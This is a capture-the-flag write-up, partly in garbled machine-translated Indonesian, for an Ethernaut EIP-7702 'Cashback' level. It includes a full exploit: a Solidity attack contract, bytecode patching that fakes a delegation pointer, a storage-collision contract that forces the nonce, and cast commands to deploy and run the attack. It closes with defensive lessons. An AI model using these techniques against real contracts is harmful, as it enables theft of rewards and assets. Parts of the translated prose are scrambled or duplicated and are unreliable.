Sementara menggali ke dalam nuansa EIP-7702, saya bekerja melalui tantangan — skenario yang dirancang untuk menguji apakah pengembang benar-benar memahami implikasi keamanan dari delegasi berbasis 7702. NFT sekali cukup poin terakumulasi. Spesifikasi Cashback Cashback yang luar biasa Spesifikasi Cashback Untuk berpartisipasi, pengguna harus delegasi ke kontrak Cashback menggunakan EIP-7702. Hanya kemudian mereka dapat memanggil payWithCashback dan mulai mendapatkan poin. In reality, EIP-7702 delegation creates security pitfalls that this challenge is designed to demonstrate. This writeup covers how the contract is supposed to work, where the assumptions fail, and how the exploit path emerges. Tantangan yang https://ethernaut.openzeppelin.com/level/36 https://ethernaut.openzeppelin.com/level/36 Anda baru saja bergabung dengan Cashback, neobank kripto terpanas di kota. tempat mereka tak tertahankan: untuk setiap pembayaran di rantai yang Anda lakukan, Anda mendapatkan poin. Sistem ini memanfaatkan EIP-7702 untuk memungkinkan EOA untuk mengumpulkan cashback. pengguna harus delegasi ke kontrak Cashback untuk menggunakan fungsi payWithCashback. Rumornya ada pintu belakang untuk pengguna daya. singkat Anda sederhana: menjadi mimpi buruk dari program loyalitas. Max keluar cashback Anda dalam setiap mata uang yang didukung dan pergi dengan setidaknya dua Super Cashback NFT, salah satunya harus sesuai dengan alamat pemain Anda. Anda baru saja bergabung dengan Cashback, neobank kripto terpanas di kota. tempat mereka tak tertahankan: untuk setiap pembayaran di rantai yang Anda lakukan, Anda mendapatkan poin. Sistem ini memanfaatkan EIP-7702 untuk memungkinkan EOA untuk mengumpulkan cashback. pengguna harus delegasi ke kontrak Cashback untuk menggunakan fungsi payWithCashback. Rumornya ada pintu belakang untuk pengguna daya. singkat Anda sederhana: menjadi mimpi buruk dari program loyalitas. Max keluar cashback Anda dalam setiap mata uang yang didukung dan pergi dengan setidaknya dua Super Cashback NFT, salah satunya harus sesuai dengan alamat pemain Anda. // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import {TransientSlot} from "@openzeppelin/contracts/utils/TransientSlot.sol"; /*////////////////////////////////////////////////////////////// CURRENCY LIBRARY //////////////////////////////////////////////////////////////*/ type Currency is address; using {equals as ==} for Currency global; using CurrencyLibrary for Currency global; function equals(Currency currency, Currency other) pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(other); } library CurrencyLibrary { error NativeTransferFailed(); error ERC20IsNotAContract(); error ERC20TransferFailed(); Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); function isNative(Currency currency) internal pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(NATIVE_CURRENCY); } function transfer(Currency currency, address to, uint256 amount) internal { if (currency.isNative()) { (bool success,) = to.call{value: amount}(""); require(success, NativeTransferFailed()); } else { (bool success, bytes memory data) = Currency.unwrap(currency).call(abi.encodeCall(IERC20.transfer, (to, amount))); require(Currency.unwrap(currency).code.length != 0, ERC20IsNotAContract()); require(success, ERC20TransferFailed()); require(data.length == 0 || true == abi.decode(data, (bool)), ERC20TransferFailed()); } } function toId(Currency currency) internal pure returns (uint256) { return uint160(Currency.unwrap(currency)); } } /*////////////////////////////////////////////////////////////// CASHBACK CONTRACT //////////////////////////////////////////////////////////////*/ /// @dev keccak256(abi.encode(uint256(keccak256("Cashback")) - 1)) & ~bytes32(uint256(0xff)) contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { using TransientSlot for *; error CashbackNotCashback(); error CashbackIsCashback(); error CashbackNotAllowedInCashback(); error CashbackOnlyAllowedInCashback(); error CashbackNotDelegatedToCashback(); error CashbackNotEOA(); error CashbackNotUnlocked(); error CashbackSuperCashbackNFTMintFailed(); bytes32 internal constant UNLOCKED_TRANSIENT = keccak256("cashback.storage.Unlocked"); uint256 internal constant BASIS_POINTS = 10000; uint256 internal constant SUPERCASHBACK_NONCE = 10000; Cashback internal immutable CASHBACK_ACCOUNT = this; address public immutable superCashbackNFT; uint256 public nonce; mapping(Currency => uint256 Rate) public cashbackRates; mapping(Currency => uint256 MaxCashback) public maxCashback; modifier onlyCashback() { require(msg.sender == address(CASHBACK_ACCOUNT), CashbackNotCashback()); _; } modifier onlyNotCashback() { require(msg.sender != address(CASHBACK_ACCOUNT), CashbackIsCashback()); _; } modifier notOnCashback() { require(address(this) != address(CASHBACK_ACCOUNT), CashbackNotAllowedInCashback()); _; } modifier onlyOnCashback() { require(address(this) == address(CASHBACK_ACCOUNT), CashbackOnlyAllowedInCashback()); _; } modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } modifier onlyEOA() { require(msg.sender == tx.origin, CashbackNotEOA()); _; } modifier unlock() { UNLOCKED_TRANSIENT.asBoolean().tstore(true); _; UNLOCKED_TRANSIENT.asBoolean().tstore(false); } modifier onlyUnlocked() { require(Cashback(payable(msg.sender)).isUnlocked(), CashbackNotUnlocked()); _; } receive() external payable onlyNotCashback {} constructor( address[] memory cashbackCurrencies, uint256[] memory currenciesCashbackRates, uint256[] memory currenciesMaxCashback, address _superCashbackNFT ) ERC1155("") { uint256 len = cashbackCurrencies.length; for (uint256 i = 0; i < len; i++) { cashbackRates[Currency.wrap(cashbackCurrencies[i])] = currenciesCashbackRates[i]; maxCashback[Currency.wrap(cashbackCurrencies[i])] = currenciesMaxCashback[i]; } superCashbackNFT = _superCashbackNFT; } // Implementation Functions function accrueCashback(Currency currency, uint256 amount) external onlyDelegatedToCashback onlyUnlocked onlyOnCashback{ uint256 newNonce = Cashback(payable(msg.sender)).consumeNonce(); uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; if (cashback != 0) { uint256 _maxCashback = maxCashback[currency]; if (balanceOf(msg.sender, currency.toId()) + cashback > _maxCashback) { cashback = _maxCashback - balanceOf(msg.sender, currency.toId()); } uint256[] memory ids = new uint256[](1); ids[0] = currency.toId(); uint256[] memory values = new uint256[](1); values[0] = cashback; _update(address(0), msg.sender, ids, values); } if (SUPERCASHBACK_NONCE == newNonce) { (bool success,) = superCashbackNFT.call(abi.encodeWithSignature("mint(address)", msg.sender)); require(success, CashbackSuperCashbackNFTMintFailed()); } } // Smart Account Functions function payWithCashback(Currency currency, address receiver, uint256 amount) external unlock onlyEOA notOnCashback { currency.transfer(receiver, amount); CASHBACK_ACCOUNT.accrueCashback(currency, amount); } function consumeNonce() external onlyCashback notOnCashback returns (uint256) { return ++nonce; } function isUnlocked() public view returns (bool) { return UNLOCKED_TRANSIENT.asBoolean().tload(); } } Model keamanan yang diinginkan The Cashback contract uses modifiers to control Panggilan dan Kode Eksekusi : who where : Caller identity checks onlyEOA(): Memastikan pemanggil adalah EOA, bukan kontrak (msg.sender == tx.origin). onlyCashback(): Memastikan panggilan adalah kontrak Cashback itu sendiri. onlyNotCashback(): Memastikan pemanggil bukan kontrak Cashback. : Execution context checks onlyOnCashback(): Pastikan kode berjalan di alamat kontrak Cashback. fungsi dengan modifier ini hanya dapat berjalan ketika dipanggil langsung pada kontrak. : Ensures code is NOT executing at the Cashback contract address. This means the function must run through a , not directly on the contract. notOnCashback() delegatecall In essence, the system should work like this: Sebuah EOA yang delegasi memanggil payWithCashback sendiri. ini bekerja karena panggilan terjadi tidakOnCashback dan melewati hanyaEOA. Fungsi payWithCashback memanggil Cashback.accrueCashback langsung pada instansi Cashback. Ini memiliki tiga modifier: onlyDelegatedToCashback melewati karena panggilan delegasi ke Cashback, onlyOnCashback melewati karena panggilan terjadi pada Cashback langsung. onlyUnlocked modifier berhubungan dengan langkah 3. The onlyUnlocked modifier calls isUnlocked on msg.sender. Karena payWithCashback memblokirnya, cek ini berlalu. During execution, calls on . This function has two modifiers: passes because it's called by the Cashback instance, and passes because this function runs in the EOA's context. accrueCashback consumeNonce msg.sender onlyCashback notOnCashback Akhirnya, consumeNonce meningkatkan nonce dalam penyimpanan EOA. Menemukan Konstan Sebelum kita bisa menyerang, kita perlu mengidentifikasi parameter kunci dan alamat tantangan. Mata uang yang didukung Kontrak Cashback mendukung dua mata uang. Meskipun tidak secara eksplisit didefinisikan dalam deskripsi tantangan, kita dapat menemukannya: Perbedaan nilai-nilai makro dan nilai-nilai makro Freedom Coin (FREE) di 0x13AaF3218Facf57CfBf5925E15433307b59BCC37 Anda dapat memverifikasi ini dengan mengambil alamat tingkat dan memeriksa , and by calling the . Kode yang FREE() Fungsi Spesifikasi Cashback NFT Anda dapat menemukan alamatnya dengan menghubungi Pada instansi cashback Anda. superCashbackNFT Maximum Cashback and Cashback Rates Untuk menghitung pengeluaran yang diperlukan untuk cashback maksimum, kita membutuhkan dua parameter. dan Dalam hal ini, kontrak menggunakan Untuk perhitungan persentase: maxCashback cashbackRates BASIS_POINTS = 10000 uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; Misalnya, Freedom Coin memiliki max cashback dari Dan tingkat dari (i.e. 2%). untuk menghitung biaya yang diperlukan: 500e18 200 amount = maxCashback * BASIS_POINTS / rate amount = 500e18 * 10000 / 200 = 25000e18 That's 25,000 FREE tokens. Nonce Memulai pada 0. Kontrak memunculkan Super Cashback NFT ketika nonce Anda mencapai , yang hardcoded hingga 10.000. SUPERCASHBACK_NONCE Serangan Despite the complex architecture looking unbreakable at first glance, there are several flawed assumptions we can exploit. Melihat arsitektur, kita menyadari bahwa kita dapat Meskipun modifikatornya dirancang untuk membatasi akses ke panggilan internal melalui , fungsi itu sendiri eksternal - jadi kita dapat memanggilnya secara langsung jika kita melewati penjaga: accrueCashback payWithCashback onlyOnCashback Kita dapat menghindarinya dengan memanggil instansi Cashback secara langsung. onlyUnlocked Karena panggilan modifier ini adalahUnlocked pada msg.sender, kita dapat menghindarinya dengan memanggil dari kontrak dengan fungsi isUnlocked yang selalu mengembalikan benar. Berikut ini adalah beberapa hal yang harus dipertimbangkan. mari kita pertimbangkan secara mendalam: modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } yang modifier attempts to verify that the caller has delegated to the Cashback contract by reading the delegation address from the account's bytecode. With EIP-7702, delegated accounts have special bytecode: Modifier membaca 20 byte ini (yang diharapkan menjadi alamat) dan memverifikasi bahwa mereka cocok dengan alamat instansi Cashback. onlyDelegatedToCashback 0xef0100 To bypass , kita membutuhkan kode byte kontrak serangan kita untuk terlihat seperti penunjuk delegasi yang valid – khususnya, alamat Cashback harus muncul pada byte 4–23. onlyDelegatedToCashback 0x??????<CASHBACK_ADDRESS>????...<rest_of_contract>. Kami akan menangani ini secara manual kemudian. pertama, mari kita membuat kontrak serangan. Menyiapkan Kontrak Serangan Seperti yang telah dibahas, kontrak kami akan dipanggil kembali oleh instansi Cashback dua kali: untuk memeriksa apakah itu dibuka dan untuk mengkonsumsi nonce. return the value required for a SuperCashback NFT. We want full cashback for both currencies, but since NFTs are minted with the caller's address as the ID, the second akan kembali. maka kita akan kembali kepada Noni hanya sekali. consumeNonce accrueCashback 10,000 Kami akan mengatur mata uang dan alamat Cashback sebagai konstan. Secara langsung, kita tidak perlu menghabiskan token nyata – kita hanya perlu melewati jumlah yang tepat untuk mendapatkan cashback maksimum. accrueCashback Akhirnya, kami akan mentransfer semua cashback dan NFT ke alamat pemain kami. Berikut kontrak lengkapnya: // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {Currency, Cashback} from "./Cashback.sol"; contract AccrueCashbackAttack { Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); Currency public constant FREEDOM_COIN = Currency.wrap(0x13AaF3218Facf57CfBf5925E15433307b59BCC37); Cashback public constant CASHBACK_INSTANCE = Cashback(payable(0xf991E138bA49e25a7DA1a11A726077c77c6241A8)); bool nftMinted; function attack(address player) external { uint256 nativeMaxCashback = CASHBACK_INSTANCE.maxCashback(NATIVE_CURRENCY); uint256 freeMaxCashback = CASHBACK_INSTANCE.maxCashback(FREEDOM_COIN); // Calculate amounts required to reach max cashback for each currency uint256 BASIS_POINTS = 10000; // Basis points from Cashback uint256 nativeAmount = (nativeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(NATIVE_CURRENCY); uint256 freedomAmount = (freeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(FREEDOM_COIN); // Call accrueCashback to mint cashback tokens and SuperCashback NFT to the attack contract CASHBACK_INSTANCE.accrueCashback(NATIVE_CURRENCY, nativeAmount); CASHBACK_INSTANCE.accrueCashback(FREEDOM_COIN, freedomAmount); // Transfer cashback tokens from attack contract to player CASHBACK_INSTANCE.safeTransferFrom(address(this), player, NATIVE_CURRENCY.toId(), nativeMaxCashback, ""); CASHBACK_INSTANCE.safeTransferFrom(address(this), player, FREEDOM_COIN.toId(), freeMaxCashback, ""); // Transfer the SuperCashback NFT (minted with the attack contract's address as ID) IERC721 superCashbackNFT = IERC721(CASHBACK_INSTANCE.superCashbackNFT()); superCashbackNFT.transferFrom(address(this), player, uint256(uint160(address(this)))); } function isUnlocked() public pure returns (bool) { return true; } function consumeNonce() external returns (uint256) { // We can mint only one NFT, because they are minted with id of the contract if (nftMinted) { return 0; } nftMinted = true; return 10_000; } } Adjusting Bytecode to Bypass the Delegation Check Now comes the tricky part. We need to modify the bytecode untuk melewati Modifikasi: Pertama, Anda harus menyusun kontrak Anda. AccrueCashbackAttack onlyDelegatedToCashback Jika Anda menggunakan Hardhat, bytecode akan berada di Ada dua properti: artifacts/contracts/Attack.sol/AccrueCashbackAttack.json is the creation (init) code executed once during deployment. It runs the constructor logic and returns the runtime code to be stored on-chain. bytecode is the runtime code stored on-chain after deployment and executed whenever the contract is called. This is what we'll modify. deployedBytecode Kami akan menempatkan alamat instansi Cashback kami di offset , exactly where Mencari untuk itu. yang Berikutnya setelah : 0x03 onlyDelegatedToCashback deployedBytecode 0x??????<CASHBACK_ADDRESS>????<ATTACK_DEPLOYED_BYTECODE> Melompat di atas alamat tertanam Untuk melewatkan alamat 20 byte selama eksekusi normal, kita akan menggunakan kode opsi ini: PUSH1 untuk menentukan tujuan melompat Jump untuk melakukan lompatan JUMPDEST untuk menandai tujuan (harus untuk menghindari revert) This way, only the Modifikasi membaca . onlyDelegatedToCashback <CASHBACK_ADDRESS> Tetapi kompensasi apa yang harus kita lompati? Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 ?? | PUSH ?? | [02] | 56 | JUMP | [03] | <CASHBACK_ADDRESS> | | [17] | ??? | ??? | Asumsi yang jelas namun salah adalah Tepat setelah Sebenarnya, jawabannya tergantung pada seberapa beruntung Anda dengan alamat instansi Cashback Anda. 0x17 <CASHBACK_ADDRESS> Instansi saya berada di Jadi kontrak saya bisa dimulai seperti ini: 0xf991E138bA49e25a7DA1a11A726077c77c6241A8 Cashback address ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ 0x601756f991E138bA49e25a7DA1a11A726077c77c6241A85B ↑↑↑↑↑↑ ↑↑ PUSH + JUMP JUMPDEST Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 17 | PUSH 0x17 | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [17]? | 5B | JUMPDEST | Namun, mari kita lihat bagaimana bytecode ini membongkar: Masalahnya, pertukaran Di alamat kami adalah Ketika EVM Bertemu , itu mengkonsumsi 30 byte berikut sebagai argumen harfiah, bukan sebagai instruksi. ( ) is positioned at offset yang digunakan sebagai data untuk bukan sebagai instruksi. hal ini merusak aliran bytecode, menyebabkan ketika eksekusi mencapai lokasi tersebut. 0x7D PUSH30 PUSH30 JUMPDEST 5B 0x17 PUSH30 EVM error: InvalidJump Kami akan menambahkan padding untuk mendorong kami outside the 30 bytes consumed by : JUMPDEST PUSH30 yang sempurna! yang Terlihat pada 2a. mari kita update Pernyataan terakhir saya: JUMPDEST PUSH1 0x602a56f991E138bA49e25a7DA1a11A726077c77c6241A8000000000000000000000000000000000000005B<attack-bytecode> Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 2a | PUSH 0x2a | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [2a] | 5B | JUMPDEST | Prefix ini memiliki total 43 byte: (2) dengan + (1) dengan + (20) yang lebih (19) dengan lebih (1) yang PUSH1 JUMP address padding JUMPDEST Adjusting Jump Offsets Sekarang kita bisa menambahkan Tetapi karena kami meningkatkan ukuran kontrak sebesar 43 byte, kami perlu menyesuaikan semua dan dikompensasi dengan jumlah tersebut. deployedBytecode JUMP JUMPI Untuk demonstrasi, mari kita lihat bagaimana melakukannya secara manual. , choose Bytecode, and paste your . On the right, you'll see the opcodes list. Find the first pada [0f]. Cari semua Kode yang digunakan oleh and with values matching this dan meningkatkan nilai-nilai mereka dengan 43. https://www.evm.codes/playground deployedBytecode JUMPDEST PUSH2 JUMP JUMPI JUMPDEST This method isn't perfect—we might accidentally modify Namun, positif palsu harus cukup langka untuk tantangan ini. PUSH2 Why PUSH2 ? Karena ukuran kontrak awal adalah 3142 (0x0C46) byte, tujuan melompat dapat melebihi 255, sehingga kompilator harus menggunakan PUSH2 untuk mewakili mereka. Kompiler menggunakan PUSH2 secara merata untuk semua destinasi melompat daripada mencampur PUSH1 dan PUSH2. Why PUSH2 ? Karena ukuran kontrak awal adalah 3142 (0x0C46) byte, tujuan melompat dapat melebihi 255, sehingga kompilator harus menggunakan PUSH2 untuk mewakili mereka. Komputer yang menggunakan PUSH2 sama untuk semua destinasi melompat daripada mencampur PUSH1 dan PUSH2 . Melakukan ini secara manual akan mengejutkan, jadi saya membuat script yang: Finds all opcodes and stores their initial and adjusted offsets JUMPDEST Finds all opcodes with values matching initial offsets and updates them to adjusted values PUSH2 JUMPDEST You can find the script to automate this process in the . repository repository Never blindly download and execute random code, including this one! Always review and understand what you're running. Use isolated environments like devcontainers or VMs when experimenting with untrusted code. Jangan pernah secara buta mengunduh dan menjalankan kode acak, termasuk ini! Gunakan lingkungan terisolasi seperti devcontainers atau VM ketika bereksperimen dengan kode yang tidak dapat diandalkan. Pembuatan Bytecode Untuk mengimplementasikan kontrak ini, kita perlu menciptakan bytecode. mari kita ubah kode penciptaan yang ada. Nilai dalam artefak berisi pada awalnya. di sini adalah saya: Membongkar itu menunjukkan: bytecode 0x6080604052348015600e575f5ffd5b50610c468061001c5f395ff3fe [10] PUSH2 0c46 This adalah panjang kode awal— . 0c46 3142 bytes Kami perlu menggunakan panjang kode yang disesuaikan kami ditambah 43 byte yang kami tambahkan secara manual. (3185 bytes). kode penciptaan akhir: 0C71 0x6080604052348015600e575f5ffd5b50610C718061001c5f395ff3fe ↑↑↑↑ Pertemuan Final Bytecode Kode bytecode akhir hanyalah kode penciptaan yang dihubungkan dengan yang disesuaikan . deployedBytecode Eksekusi Serangan Gunakan Bytecode untuk Menggunakan dari Foundry : cast PRIVATE_KEY=0x{set-your-ethernaut-player-private-key} SEPOLIA_URL=https://{use-alchemy-or-infura} BYTECODE=0x{the-final-bytecode} YOUR_PLAYER_ADDRESS=0x{your-player-address} cast send --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY --create $BYTECODE Untuk melakukan serangan: cast send $ATTACK_CONTRACT_ADDRESS \ "attack(address)" \ $YOUR_PLAYER_ADDRESS \ --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY Periksa transaksi Anda di Etherscan. Anda harus melihat transaksi internal yang terkait dengan token cashback dan transfer NFT. Pada titik ini, Anda telah mencapai cashback maksimum untuk kedua mata uang dan mendapatkan satu NFT. Namun, IDnya sesuai dengan alamat kontrak serangan Anda, bukan alamat pemain Anda. Mengeksploitasi Kolisi Penyimpanan untuk NFT Kedua Kami masih membutuhkan NFT lain dengan alamat kami sebagai ID. Kami tidak bisa hanya mengulangi pendekatan yang sama seperti dalam serangan sebelumnya. seperti yang dimaksud—dengan mengalihkan EOA Anda ke kontrak Cashback. fungsi, jadi kita perlu meningkatkan nonce kita dengan cara lain. payWithCashback consumeNonce EIP-7702 delegation doesn't create separate storage for each delegated contract. When an EOA delegates to a contract, the code executes against the EOA's own storage. If you delegate to different contracts over time, they all read and write to the same storage slots in your EOA. By exploiting this storage collision, we can manipulate the nonce. We'll create a contract that writes to the same storage slot, set the nonce to 9999, then re-delegate to Cashback and execute one more transaction to trigger the NFT mint. Perhatikan bahwa akun Cashback menggunakan direktif tata letak penyimpanan yang disesuaikan untuk menempatkan penyimpanan di slot tertentu.Fitur ini, yang diperkenalkan di Solidity 0.8.29, memungkinkan kontrak untuk memindahkan variabel penyimpanan mereka ke posisi arbitrase. contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { // ... constants and immutables uint256 public nonce; } yang is the first variable in the layout—all the preceding variables are constants and immutables, so they don't take slots. However, from OpenZeppelin takes 3 slots before Oleh karena itu, kunci sebenarnya berada di Mengetahui ini, mari kita menyuntikkan nonce besar ke dalam penyimpanan EOA kita. nonce ERC1155 nonce 0x442a9...ba03 Berikut ini adalah Kontrak manipulasi yang saya pasang ke Sepolia: nonce contract NonceAttack layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba03 { uint256 public injectedNonce; // The next call to payWithCashback will increment it to 10_000 and we will get SuperCashback NFT function injectNonce() external { injectedNonce = 9999; } } Langkah selanjutnya adalah untuk mendelegasikan EOA kepada dari Foundry Biasanya kita harus meminta nonce akun kita, menambahkannya satu per satu, menandatangani transaksi otorisasi, dan hanya kemudian mengirimkannya. NonceAttack. cast cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <NONCE_ATTACK_ADDRESS> Sekarang kita dapat mengatur nonce menggunakan Ingat, kita menyebut fungsi ini pada diri kita sendiri, bukan pada Pengadilan : injectNonce() NonceAttack cast send $YOUR_PLAYER_ADDRESS \ "injectNonce()" \ --rpc-url $SEPOLIA_URL \ --private-key $PRIVATE_KEY Langkah Serangan Terakhir Dengan nonce sekarang ditetapkan ke 9999 melalui penyalahgunaan tabrakan penyimpanan, langkah serangan terakhir melibatkan pengalihan kembali ke kontrak Cashback dan melakukan satu transaksi lagi untuk mendorong nonce ke 10.000, memicu minting NFT SuperCashback kedua dengan alamat pemain Anda sebagai IDnya. Mengalihkan kembali akun Anda ke instansi Cashback. ikuti langkah-langkah yang sama seperti dengan NonceAttack: cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <CASHBACK_ADDRESS> Kontrak Cashback menyediakan fungsi nonce untuk memeriksa nonce Anda. mari kita memverifikasi itu adalah 9999: cast call $YOUR_PLAYER_ADDRESS \ "nonce()" \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL Lakukan langkah terakhir dengan memanggil payWithCashback pada diri Anda sendiri: cast send $YOUR_PLAYER_ADDRESS \ "payWithCashback(address,address,uint256)" \ 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE \ 0x03dcb79ee411fd94a701ba88351fef8f15b8f528 \ 1 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL Anda sekarang memiliki 2 NFT dan cashback maksimum. Dan sebelum kita pergi, jangan lupa untuk menghapus delegasi. cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth 0x0000000000000000000000000000000000000000 Apa yang telah kita pelajari 1. Validate delegation the right way. Selalu Periksa Berkat EIP-3541, yang melarang mendistribusikan kontrak yang bytecode dimulai dengan 0xef, prefix ini dapat secara dapat diandalkan membedakan EOA yang delegasi dari kontrak arbitrase. 0xef0100 2. Never store protocol-critical state inside an EOA. Pemilik EOA dapat delegasi ke kontrak apa pun, dan kontrak itu dapat dengan bebas menulis ke slot penyimpanan yang sama - termasuk yang mungkin Anda anggap pribadi. . your protocol's storage